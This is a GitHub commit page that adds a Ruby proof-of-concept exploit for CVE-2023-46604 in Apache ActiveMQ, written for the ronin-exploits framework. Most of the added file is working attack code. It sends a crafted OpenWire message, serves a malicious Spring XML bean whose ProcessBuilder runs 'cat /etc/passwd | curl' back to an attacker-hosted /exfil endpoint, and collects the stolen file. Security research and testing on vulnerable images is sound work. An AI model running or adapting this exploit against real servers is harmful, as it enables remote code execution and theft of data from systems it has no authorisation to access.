Skip to content

Commit

Permalink
POC exploit for CVE-2023-46604 (#10)
Browse files Browse the repository at this point in the history
---------

Co-authored-by: Postmodern <postmodern.mod3@gmail.com>
  • Loading branch information
flavorjones and postmodern authored May 18, 2024
1 parent ee71373 commit 29bcfbd
Show file tree
Hide file tree
Showing 2 changed files with 263 additions and 6 deletions.
13 changes: 7 additions & 6 deletions Gemfile
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
source 'https://rubygems.org'

gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core',
branch: '0.2.0'
gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads',
branch: '0.2.0'
gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits',
branch: '1.1.0'
gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core',
branch: '0.2.0'
gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads',
branch: '0.2.0'
gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits',
branch: '1.1.0'
gem 'ronin-web-server', '~> 0.1.1'

group :development do
gem 'rake', require: false
Expand Down
256 changes: 256 additions & 0 deletions exploits/activemq/CVE-2023-46604.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,256 @@
#!/usr/bin/env -S ronin-exploits run -f

require "ronin/exploits/exploit"
require "ronin/exploits/mixins/remote_tcp"
require "ronin/support/binary/stream"
require "ronin/web/server"

module Ronin
module Exploits
#
# This exploit is based on an examination the following prior art:
#
# * https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604
# * https://github.com/Mudoleto/Broker_ApacheMQ
# * https://github.com/dcm2406/CVE-2023-46604
# * https://github.com/mrpentst/CVE-2023-46604
#
# The exploit has two steps:
#
# 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect
# to a URL that may contain a malicious XML payload.
# 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands.
#
# ## Verification
#
# To verify against a vulnerable docker image:
#
# $ docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2
# $ ./exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616
#
# against a not-vulnerable docker image:
#
# $ docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3
# $ ./exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616
#
# You can read more about that docker container at https://github.com/veita/cont-test-activemq
#
# ## Implementation details
#
# For details on OpenWire wire format see:
#
# * https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification
# * https://github.com/apache/activemq-openwire
#
class CVE_2023_46604 < Exploit

include Mixins::RemoteTCP

register "activemq/CVE-2023-46604"

quality :poc
release_date "2024-05-03"
disclosure_date "2023-10-27"
advisory "CVE-2023-46604"

author "Mike Dalessio", email: "mike.dalessio@gmail.com"
summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3"
description <<~DESC
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This
vulnerability may allow a remote attacker with network access to either a Java-based
OpenWire broker or client to run arbitrary shell commands by manipulating serialized class
types in the OpenWire protocol to cause either the client or the broker (respectively) to
instantiate any class on the classpath. Users are recommended to upgrade both brokers and
clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
DESC
references [
"https://nvd.nist.gov/vuln/detail/CVE-2023-46604",
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604",
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/shell.py",
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/config.xml",
"https://github.com/dcm2406/CVE-2023-46604",
"https://github.com/dcm2406/CVE-2023-46604/blob/master/exploit.py",
"https://github.com/dcm2406/CVE-2023-46604/blob/master/poc.xml",
"https://github.com/mrpentst/CVE-2023-46604",
"https://github.com/mrpentst/CVE-2023-46604/blob/main/exploit.py",
"https://github.com/mrpentst/CVE-2023-46604/blob/main/poc.xml"
]

#
# Test whether the target system is vulnerable.
#
# @return [Ronin::Exploits::TestResult::Vulnerable,
# Ronin::Exploits::TestResult::NotVulnerable,
# Ronin::Exploits::TestResult::Unknown]
#
def test
wireformat_message = nil

tcp_connect do |socket|
socket.close_write
wireformat_message = socket.read
end

unless (version = pluck_provider_version(wireformat_message))
return Unknown("host is not reporting a provider version")
end

print_info "Detected provider version: #{version}"

version = Gem::Version.new(version)
if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) ||
(version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) ||
(version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) ||
(version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0"))
Vulnerable("host is vulnerable to CVE-2023-46604")
else
NotVulnerable("host is not vulnerable to CVE-2023-46604")
end
end

default_port 61616

param :web_host, default: "localhost",
desc: "A routable hostname for the exploit runner's web server"

param :web_port, Integer, default: 1024 + rand(65535 - 1024),
desc: "A listen port for the exploit runner's web server"

JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext"
PROVIDER_VERSION = "ProviderVersion"
STRING_TYPE = 9

#
# Builds the malicious OpenWire ActiveMQ message and XML payload that will
# be served later.
#
def build
@web_host = params[:web_host]
@web_port = params[:web_port]
web_url = "http://#{@web_host}:#{@web_port}"

buffer = Ronin::Support::Binary::Buffer.new(1024, endian: :net)
buffer.put_uint8(4, 0x1f) # EXCEPTION_RESPONSE
.put_uint8(14, 0x01)

cursor = 15
buffer.put_uint8(cursor, 0x01)
.put_uint16(cursor+1, JAVA_CLASSNAME.length)
.put_string(cursor+3, JAVA_CLASSNAME)

cursor += 3 + JAVA_CLASSNAME.length
buffer.put_uint8(cursor, 0x01)
.put_uint16(cursor+1, web_url.length)
.put_string(cursor+3, web_url)

cursor += 3 + web_url.length
buffer.put_uint32(0, cursor-4)

@payload1 = buffer.to_s[0..cursor-1]

@payload2 = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>cat /etc/passwd | curl --data-binary @- #{web_url}/exfil</value>
</list>
</constructor-arg>
</bean>
</beans>
XML
end

#
# Sends the malicious ActiveMQ OpenWire message and starts a web server,
# which hosts the XML payload and receives the exfiltrated file.
#
def launch
queue = Thread::Queue.new
exploit = self
injection = @payload2

@web_server = Ronin::Web.server do
set :bind, exploit.params[:web_host]
set :port, exploit.params[:web_port]

get("/") do
exploit.print_info "Received HTTP request"
queue.push(:get)
injection
end

post("/exfil") do
exploit.print_info "Received RCE exfiltration:"
puts
puts request.body.read

queue.push(:exfil)
""
end

on_start do
queue.push(:start)
end

on_stop do
queue.push(:stop)
end
end
queue.pop # :start

print_info "Sending OpenWire payload:"
@payload1.hexdump

tcp_send(@payload1)

return if queue.pop == :stop # :get
return if queue.pop == :stop # :get

queue.pop # :exfil
end

#
# Shuts down the exploit's web server.
#
def cleanup
@web_server&.stop!
end

private

#
# Extracts the provider version from the ActiveMQ OpenWire message.
#
# We're taking the easy way out by not parsing the whole message, just finding the
# `ProviderVersion` property and pulling it out of the message.
#
# @return [String, nil]
#
def pluck_provider_version(message)
print_info "Extracting provider version from OpenWire WIREFORMAT message:"
message.hexdump

unless (property_index = message.index(PROVIDER_VERSION))
return
end

offset = property_index + PROVIDER_VERSION.length
buffer = Support::Binary::Buffer.new(message.byteslice(offset..), endian: :net)

ptype = buffer.get_byte(0)
fail("unknown primitive type #{ptype}, expected #{STRING_TYPE}") if ptype != STRING_TYPE

plen = buffer.get_int16(1)
fail("unexpected string len #{plen}") if plen <= 0

buffer.get_string(3, plen)
end
end
end
end

0 comments on commit 29bcfbd

Please sign in to comment.